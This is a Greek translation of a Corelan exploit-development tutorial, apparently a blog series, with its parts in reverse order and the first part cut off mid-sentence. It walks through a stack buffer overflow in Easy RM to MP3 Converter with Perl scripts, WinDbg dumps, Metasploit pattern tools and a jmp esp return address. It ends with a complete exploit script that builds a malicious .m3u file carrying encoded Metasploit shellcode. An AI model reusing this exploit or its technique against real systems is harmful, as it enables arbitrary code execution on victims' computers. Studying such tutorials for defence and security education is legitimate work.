ModLoad: 01a90000 01b01000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec00.dll
ModLoad: 00c80000 00c87000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec01.dll
ModLoad: 01b10000 01fdd000 C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
ModLoad: 01fe0000 01ff1000 C:\WINDOWS\system32\MSVCIRT.dll
ModLoad: 77120000 771ab000 C:\WINDOWS\system32\OLEAUT32.dll
If we can find the opcode in one of these dll’s, then we have a good chance of making the exploit work reliably across windows platforms. If we need to use a dll that belongs to the OS, then we might find that the exploit does not work for other versions of the OS. So let’s search the area of one of the Easy RM to MP3 dll’s first.
We’ll look in the area of C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll. This dll is loaded between 01b10000 and 01fd000. Search this area for ff e4 :
0:014> s 01b10000 l 01fdd000 ff e4
01ccf23a ff e4 ff 8d 4e 10 c7 44-24 10 ff ff ff ff e8 f3 ....N..D$.......
01d0023f ff e4 fb 4d 1b a6 9c ff-ff 54 a2 ea 1a d9 9c ff ...M.....T......
01d1d3db ff e4 ca ce 01 20 05 93-19 09 00 00 00 00 d4 d1 ..... ..........
01d3b22a ff e4 07 07 f2 01 57 f2-5d 1c d3 e8 09 22 d5 d0 ......W.]...."..
01d3b72d ff e4 09 7d e4 ad 37 df-e7 cf 25 23 c9 a0 4a 26 ...}..7...%#..J&
01d3cd89 ff e4 03 35 f2 82 6f d1-0c 4a e4 19 30 f7 b7 bf ...5..o..J..0...
01d45c9e ff e4 5c 2e 95 bb 16 16-79 e7 8e 15 8d f6 f7 fb ..\.....y.......
01d503d9 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
01d51400 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
01d5736d ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
01d5ce34 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
01d60159 ff e4 17 b7 e3 77 31 bc-b4 e7 68 89 bb 99 54 9d .....w1...h...T.
01d62ec0 ff e4 cc 38 25 d1 71 44-b4 a3 16 75 85 b9 d0 50 ...8%.qD...u...P
0221135b ff e4 49 20 02 e8 49 20-02 00 00 00 00 ff ff ff ..I ..I ........
0258ea53 ff e4 ec 58 02 00 00 00-00 00 00 00 00 08 02 a8 ...X........
Tέλεια!(Δεν περίμενα κάτι διαφορετικό...το jmp esp είναι είναι μια συνηθισμένη λειτουργία).
Σημείωση:Υπάρχουν κι άλλοι τρόποι να βρείς διευθύνσεις όπως το findjmp
Απο την στιγμή που θέλουμε να τοποθετήσουμε τον shellcode στην ΕSP η jmp esp διεύθυνση δεν πρέπει να χει null bytes. to null byte δρά ως string terminator(ο shellcode μας είναι τοποθετημένος σε string). Σε μερικές περιπτώσει είναι οκ το να χεις μια διεύθυνση που να ξεκινά με Null Byte γιατί αν ξεκινά έτσι θα έιναι και το τελευταίο Byte στην ΕΙΡ και εαν μπεί o shellcode πρίν ξαναγραφεί η ΕΙΡ τότε θα δουλέψει.
Όπως και να χει θα χρησιμοποιήσουμε το payload αφου ξαναγράψουμε την ΕΙΡ για να φορτώσουμε τον shellcode, ώστε η διεύθυνση να μην περιέχει Null bytes.
H πρώτη διευθυνση θα είναι: 0*01ccf23a.
0:014> u 01ccf23a
MSRMCcodec02!CAudioOutWindows::WaveOutWndProc+0x8bfea:
01ccf23a ffe4 jmp esp
01ccf23c ff8d4e10c744 dec dword ptr <Unloaded_POOL.DRV>+0x44c7104d (44c7104e)[ebp]
01ccf242 2410 and al,10h
01ccf244 ff ???
01ccf245 ff ???
01ccf246 ff ???
01ccf247 ff ???
01ccf248 e8f3fee4ff call MSRMCcodec02!CTN_WriteHead+0xd320 (01b1f140)
Kλείσε το windbg και δημιούργησε ξανά εναν m3u φάκελο.
my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a);
my $shellcode = "\x90" x 25;
$shellcode = $shellcode."\xcc"; #this will cause the application to break, simulating shellcode, but allowing you to further debug
$shellcode = $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
(21c.e54): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c
eip=000ff745 esp=000ff730 ebp=003440c0 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
<Unloaded_P32.dll>+0xff734:
000ff745 cc int 3
0:000> d esp
000ff730 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff740 90 90 90 90 90 cc 90 90-90 90 90 90 90 90 90 90 ................
000ff750 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 00 ................
000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
Τρέξε την εφαρμογή κάνε attach στο windbg πίεσε "g" για να συνεχίσεις και άνοιξε τον νέο m3u φάκελο στην εφαρμογή.
Η εφαρμογή τώρα διακόπτεται στην διεύθυνση 000ff745 που είναι η τοποθεσία του πρώτου μας break.Οπότε το Jmp esp δούλεψε άψογα. Το μόνο που μένει ειναι να τοποθετήσουμε τον πραγματικό μας shellcode και να τελειώσουμε με το exploit.
Κλείσε ξανά το windbg
Xρησιμοποιήσε τον shellcode και ολοκλήρωσε το exploit
To metasploit έχει έναν payload generator που θα σε βοηθήσει να δημιουργήσεις να χτίσεις τον shellcode.
Ας πούμε οτι θέλουμε να εκτελεστεί ένα κομπιουτεράκι ο shellcode θα είναι κάπως έτσι:
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
Ολοκλήρωσε το perl script και δοκίμασε το:
# Exploit for Easy RM to MP3 27.3.700 vulnerability, discovered by Crazy_Hacker
# Written by Peter Van Eeckhoutte
# http://www.corelan.be
# Greetings to Saumil and SK :-)
#
# tested on Windows XP SP3 (En)
#
#
#
my $file= "exploitrmtomp3.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x01ccf23a); #jmp esp from MSRMCcodec02.dll
my $shellcode = "\x90" x 25;
# windows/exec - 144 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
$shellcode = $shellcode . "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1" .
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30" .
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa" .
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96" .
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b" .
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a" .
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83" .
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98" .
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61" .
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05" .
"\x7f\xe8\x7b\xca";
open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
Αφού ανοίξει και σταματήσει η εφαρμογή ανοίγει το Calculator
THE END
EXPLOIT DEVELOPMENT#2(Corelan Team)
Αυτό είναι το gui του immunity debugger, το οποίο είναι ένα πρόγραμμα εντοπισμού σφαλμάτων σε μια εφαρμογή.
Αυτό το GUI μας δείχνει στο πάνω αριστερά μέρος την κατάσταση της CPU που έχει assembly κωδικούς και εντολές(το παράθυρο είναι άδειο γιατι η ΕΙΡ προς το παρόν είναι στα 41414141 και αυτό δεν είναι μια έγκυρη διεύθυνση). Στο πάνω δεξιά παράθυρο μπορούμε να δούμε τους registers.Στο κάτω αριστερά βλέπουμε την memory dump του 00446000 σ’αυτήν την περίπτωση. Στο κάτω δεξιά παράθυρο μπορείς να δείς τα περιεχόμενα του stack(οπότε τα περιεχόμενα της μνήμης της τοποθεσίας που δείχνει η ESP).
Όπως και να χει βλέπουμε τον δείκτη εντολής στα 41414141, που είναι η δεκαεξαδική παρουσίαση για το ΑΑΑΑ
Οπότε δείχνει πως μέρος του m3u φακέλου διαβάστηκε στο Buffer και δημιούργησε buffer overflow. Τώρα ίσως είμαστε σε θέση να ελέγξουμε την τιμή της ΕΙΡ.
Από την στιγμή που ο φάκελος μας περιέχει μόνο Α δεν γνωρίζουμε ακριβώς πόσο μεγάλο χρειάζεται να είναι το Buffer για να γράψουμε ακριβώς πάνω στην ΕΙΡ. Με άλλα λόγια αν θέλουμε να είμαστε πιο ακριβείς για την επανεγγραφή της ΕΙΡ(για να μπορούμε να της δώσουμε data και να την κάνουμε να μεταπηδήσει στον κακό μας κώδικα πρέπει να ξέρουμε την ακριβή τοποθεσία του buffer/payload όπου θα γράψουμε στην διεύθυνση επιστροφής(η οποια θα γίνει ΕΙΡ όταν η λειτουργία γυρίσει ξανά). Αυτή η θέση πολύ συχνά λέγεται «offset».
Καθορισμός της ακριβής θέσης του buffer για να γράψει ακριβώς στην ΕΙΡ
Γνωρίζουμε ότι η ΕΙΡ είναι τοποθετημένη κάπου μεταξύ 20000 και 30000 Bytes από την αρχή του Buffer. Τώρα θεωρητικά μπορούμε να γράψουμε στον χώρο της μνήμης μεταξύ 20000 και 30000 bytes. Αυτό μπορεί και να δουλέψει αλλά είναι πολύ πιο όμορφο αν ξέρουμε την ακριβή τοποθεσία που θα γράψουμε τον κώδικα μας. Οπότε για να βρούμε το ακριβές offset της ΕΙΡ του Buffer μας πρέπει να κάνουμε μια επιπρόσθετη εργασία.
Αλλάζουμε λίγο τον κώδικα γραμμένο σε perl γλώσσα:
Θα δημιουργήσουμε έναν φάκελο που περιέχει 2500 Α και άλλα 5000 Β. Αν η ΕΙΡ περιλαμβάνει 41414141(ΑΑΑΑ)η ΕΙΡ βρίσκεται μεταξύ 2000 και 2500 και αν περιέχει 42424242(ΒΒΒΒ) βρίσκεται μεταξύ 2500 και 3000.
my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = "\x42" x 5000;
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";
Οκ οπότε η ΕΙΡ περιέχει 42424242(ΒΒΒΒ) οπότε ξερουμε ότι η ΕΙΡ έχει offset μεταξύ 2500 και 3000.Αυτό επίσης σημαίνει ότι πρεπει να δούμε αυτά τα Β στην μνήμη που βρίσκονται στην ESP.
Buffer :
[ 5000 B's ]
[AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......]
25000 A's EIP ESP points here
0:000> d esp
000ff730 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff740 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff750 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff760 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff770 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff780 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff790 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> d
000ff7b0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7c0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7d0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7e0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff7f0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff800 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff810 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff820 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0:000> d
000ff830 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff840 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff850 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff860 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff870 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff880 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff890 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
000ff8a0 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBB
Αυτά είναι σπουδαία νέα. Γράψαμε πάνω στην ΕΙΡ ΒΒΒΒ και μπορούμε να δούμε τον Buffer μας στην ESP.
Πρίν ξεκινήσουμε να τσιμπάμε τον κώδικα, πρέπει να βρούμε την ακριβή τοποθεσία που ο Buffer μας γράφει στην ΕΙΡ. Σ’αυτό θα μας βοηθήσει το Metasploit.
Έχει ένα εργαλείο το οποίο μας βοηθά να υπολογίσουμε το offset.Θα δημιουργήσει μια γραμμή που θα περιέχει ξεχωριστούς χαρακτήρες.
Ονομάζεται pattern_create rb.Δημιούργησε έναν pattern με 5000 χαρακτήρες και γράψε τον σ’έναν φάκελο.
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb
Usage: pattern_create.rb length [set a] [set b] [set c]
root@bt:/pentest/exploits/framework3/tools# ./pattern_create.rb 5000
Τοποθετούμε τους 5000 χαρακτήρες στον perl κώδικα μας.
my $file= "crash25000.m3u";
my $junk = "\x41" x 25000;
my $junk2 = “put the 5000 characters here”
open($FILE,">$file");
print $FILE $junk.$junk2;
close($FILE);
print "m3u File Created successfully\n";
Ξανανοίγουμε την εφαρμογή και όταν ξαναπεθάνει βλέπουμε την κατάσταση της ΕΙΡ:
Χρησιμοποιύμε ένα δεύτερο εργαλείο του metasploit για να υπολογίσουμε το ακριβές μέγεθος του Buffer Πριν γράψει στην EIP, χρησιμοποιώντας την τιμή της ΕΙΡ(βασισμένη στον φάκελο pattern) και στο μέγεθος του buffer:
root@bt:/pentest/exploits/framework3/tools# ./pattern_offset.rb 0x356b4234 5000
1094
root@bt:/pentest/exploits/framework3/tools#
1094 είναι το αποτέλεσμα οπότε, 25000+1094 A και μετά 4 B’s (42 42 42 42) η ΕΙΡ πρέπει να περιλαμβάνει 42 42 42 42.
Αλλάζουμε πάλι τον κώδικα per και βάζουμε και C:
my $file= "eipcrash.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";
my $espdata = "C" x 1000;
open($FILE,">$file");
print $FILE $junk.$eip.$espdata;
close($FILE);
print "m3u File Created successfully\n";
0:000> d esp
000ff730 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff740 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff750 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff760 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff770 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff780 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff790 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
000ff7a0 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
Tέλεια η ΕΙΡ περιέχει 4Β, που είναι ακριβώς αυτό που ζητούσαμε. Οπότε τώρα ελέγχουμε την ΕΙΡ.
Βρίσκουμε χώρο στην μνήμη για να φορτώσουμε τον SHELLCODE.
Eλέγχουμε την ΕΙΡ οπότε μπορούμε να την πάμε κάπου αλλού σ’ένα μέρος που περιέχει τον shellcode μας.Αλλά που μπορούμε να τοποθετήσουμε τον shellcode μας και πως μπορούμε να κάνουμε την ΕΙΡ να μεταπηδήσει σ’αυτή την τοποθεσία;
Εκτός από το γεγονός ότι μπορούμε να δούμε τα C δεν ξέρουμε στα σίγουρα ότι
το πρώτο C(στην
διέυθυνση 000ff730 εκεί
που είναι η ESP) είναι
το πρώτο C που βάλαμε στο Buffer μας.
Θα αλλάξουμε τον perl κώδικα και θα του βάλουμε 144 χαρακτήρες
.
my $file=
"test1.m3u";
my $junk=
"A" x 26094;
my $eip =
"BBBB";
my
$shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK"
.
"7ABCDEFGHIJK8ABCDEFGHIJK"
.
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE
$junk.$eip.$shellcode;
close($FILE);
print
"m3u File Created successfully\n";
To αποτέλεσμα θα είναι κάπως έτσι:
0:000> d esp
000ff730 44 45 46 47 48 49 4a 4b-32 41 42 43 44 45 46
47 DEFGHIJK2ABCDEFG
000ff740 48 49 4a 4b 33 41 42 43-44 45 46 47 48 49 4a
4b HIJK3ABCDEFGHIJK
000ff750 34 41 42 43 44 45 46 47-48 49 4a 4b 35 41 42
43 4ABCDEFGHIJK5ABC
000ff760 44 45 46 47 48 49 4a 4b-36 41 42 43 44 45 46
47 DEFGHIJK6ABCDEFG
000ff770 48 49 4a 4b 37 41 42 43-44 45 46 47 48 49 4a
4b HIJK7ABCDEFGHIJK
000ff780 38 41 42 43 44 45 46 47-48 49 4a 4b 39 41 42
43 8ABCDEFGHIJK9ABC
000ff790 44 45 46 47 48 49 4a 4b-41 41 42 43 44 45 46
47 DEFGHIJKAABCDEFG
000ff7a0 48 49 4a 4b 42 41 42 43-44 45 46 47 48 49 4a
4b HIJKBABCDEFGHIJK
0:000> d
000ff7b0 43 41 42 43 44 45 46 47-48 49 4a 4b 00 41 41
41 CABCDEFGHIJK.AAA
000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff820 41 41 41 41
41 41 41 41-41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
Τώρα μπορούμε να δούμε δύο ενδιαφέροντα πράγματα
1 Η ESP ξεκινά με τον πέμπτο χαρακτήρα και όχι τον πρώτο.
2 Μετά τον pattern string βλέπουμε A to οποίο
πιθανόν ανοίκει στο πρώτο μέρος του Buffer(26101)
ό οπότε ίσως μπορούμε να βάλουμε τον κώδικα μας στο
πρώτο μέρος του .
my $file=
"test1.m3u";
my $junk=
"A" x 26094;
my $eip =
"BBBB";
my
$preshellcode = "XXXX";
my
$shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK"
.
"7ABCDEFGHIJK8ABCDEFGHIJK"
.
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE
$junk.$eip.$preshellcode.$shellcode;
close($FILE);
print
"m3u File Created successfully\n";
Για να δούμε την ESP:
0:000> d
esp
000ff730 31 41 42 43 44 45 46 47-48 49 4a 4b 32 41 42
43 1ABCDEFGHIJK2ABC
000ff740 44 45 46 47 48 49 4a 4b-33 41 42 43 44 45 46
47 DEFGHIJK3ABCDEFG
000ff750 48 49 4a 4b 34 41 42 43-44 45 46 47 48 49 4a
4b HIJK4ABCDEFGHIJK
000ff760 35 41 42 43 44 45 46 47-48 49 4a 4b 36 41 42
43 5ABCDEFGHIJK6ABC
000ff770 44 45 46 47 48 49 4a 4b-37 41 42 43 44 45 46
47 DEFGHIJK7ABCDEFG
000ff780 48 49 4a 4b 38 41 42 43-44 45 46 47 48 49 4a
4b HIJK8ABCDEFGHIJK
000ff790 39 41 42 43 44 45 46 47-48 49 4a 4b 41 41 42
43 9ABCDEFGHIJKAABC
000ff7a0 44 45 46 47 48 49 4a 4b-42 41 42 43 44 45 46
47 DEFGHIJKBABCDEFG
0:000> d
000ff7b0 48 49 4a 4b 43 41 42 43-44 45 46 47 48 49 4a
4b HIJKCABCDEFGHIJK
000ff7c0 00 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 .AAAAAAAAAAAAAAA
000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff820 41 41 41 41
41 41 41 41-41 41 41 41 41 41 41 41
AAAAAAAAAAAAAAAA
Πολύ καλύτερα!
Τώρα έχουμε:
1)Έλεγχο της ΕΙΡ
2)Χώρο να γράψουμε τον κώδικα μας(τουλάχιστον 144 bytes)
3)έναν register
που δείχνει κατευθείαν στον κωδικά μας 0*000ff730
Tώρα
χρειαζόμαστε
1)Να φτιάξουμε έναν αληθινό shellcode
2)Nα
κάνουμε την ΕΙΡ να πάει στην αρχή του shellcode.
Mπορούμε
να το κάνουμε ξαναγράφοντας την ΕΙΡ με 0*00ff730.
Oπότε:
my $file=
"test1.m3u"; my $junk=
"A" x 26094;
my $eip =
pack('V',0x000ff730);
my
$shellcode = "\x90" x 25;
$shellcode
= $shellcode."\xcc";
$shellcode
= $shellcode."\x90" x 25;
open($FILE,">$file");
print $FILE
$junk.$eip.$shellcode;
close($FILE);
print
"m3u File Created successfully\n";
Όταν βλέπουμε την ESP δεν βλέπουμε αυτό που
περιμέναμε
eax=00000001
ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=0000662c
eip=000ff730
esp=000ff730 ebp=003440c0 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023
ds=0023 es=0023 fs=003b
gs=0000 efl=00000206
Missing
image name, possible paged-out or corrupt data.
Missing
image name, possible paged-out or corrupt data.
Missing
image name, possible paged-out or corrupt data.
<Unloaded_P32.dll>+0xff71f:
000ff730
0000 add byte ptr [eax],al ds:0023:00000001=??
0:000> d
esp
000ff730 00 00 00 00 06 00 00 00-58 4a 10 00 01 00 00
00 ........XJ......
000ff740 30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41
41 0.......AAAAAAAA
000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41
41 AAAAAAAAAAAAAAAA
Οπότε δεν είναι αξιόπιστος τρόπος απλά να ξαναγράψουμε την ΕΙΡ αλλά πρέπει να χρησιμοποιήσουμε μια άλλη τεχνική για να πετύχουμε τον ίδιο στόχο.Να κάνουμε δηλαδή την εφαρμογή να μεταπηδά στον κώδικα μας.
Το ιδανικό θα ήταν να μπορούμε να μεταπηδούμε βάσει μιας λειτουργίας σε όποιον register θέλουμε(στον ESP)για παράδειγμα.Μετά θα προσπαθούσαμε να ξαναγράψουμε την ΕΙΡ με την διεύθυνση αυτής της λειτουργίας.(συνέχεια...)
EXPLOIT DEVELOPMENT #1(Coralen Team)
Παραθέτω ένα πολύ σημαντικό εγχείρημα για τα ελληνικά
δεδομένα για την κατανόηση του exploit development. Eίναι η ελεύθερη μετάφραση της θρυλικής Coralen Team η οποία έχει τον σεβασμό όλης της κοινότητας hacking.
Δεν έχει σκοπό αυτή η σειρά άρθρων να την ακολουθήσετε step by step αλλά
να κατανοήσετε την διαδικασία του stack base overflow, του πως εκμεταλεύεσαι μια ευπαθή εφαρμογή και πως την
φορτώνεις εκεί που θες.
Όλα αυτά πλεόν έχουν απλοποιηθεί από το metasploit framework το οποίο σου λύνει
τα χέρια σχεδόν στα πάντα αλλά δεν είναι δυνατόν να το εκτιμήσεις εάν δεν δείς από
κοντά το πώς λειτουργούν τα πράγματα, εκεί που μιλάμε με asm όρους, binary code, shellcoding και
πολλά άλλα.
Θα έχει κι άλλα μέρη αυτό το άρθρο και όταν ολοκληρωθεί θα
πάμε στην σωστή και έξυπνη λειτουργία του metasploit.
Πρώτα απ 'όλα ας βεβαιωθούμε ότι η εφαρμογή όντως κρασάρει
κατά το άνοιγμα ενός αρχείου (malformatted) m3u (ή βρείτε μια εφαρμογή η οποία
κρασάρει με κάποιο αντίστοιχο αρχείο).
Κατεβάστε ένα ευπαθές αντίγραφο του Easy RM to MP3 και να το
εγκαταστήσετε σε έναν υπολογιστή που εκτελεί τα Windows XP. Η έκθεση τρωτότητας γράφει ότι το exploit δουλεύει
στα XP SP2 (Αγγλικά), αλλά θα χρησιμοποιήσω XP SP3 (Αγγλικά).
Aντίγραφο των ευάλωτων προγραμμάτων μπορείτε να
βρείτε εδώ: http://www.oldapps.com και http://www.oldversion.com
ή ακόμα και exploit db(
που μαζί με το exploit έχει πολλές φορές κι ένα αντίγραφο του software.)
Θα χρησιμοποιήσουμε τον ακόλουθο απλό κώδικα γραμμένο σε
perl για να δημιουργήσουμε ένα αρχείο .m3u που θα μας βοηθήσει να ανακαλύψουμε περισσότερες
πληροφορίες σχετικά με την ευπάθεια:
my $file=
"crash.m3u";
my $junk=
"\x41" x 10000;
open($FILE,">$file");
print $FILE
"$junk";
close($FILE);
print
"m3u File Created successfully\n";
Αργότερα τρέχουμε το perl script για να δημιουργήσουμε τον φάκελο m3u.Το κενό θα γεμίσει με 1000 Α(\x41 είναι η δεκαεξαδική
παρουσίαση του Α) και άνοιξε αυτόν τον m3u
φάκελο με το Easy RM to MP3…Το
πρόγραμμα πετάει ένα error,
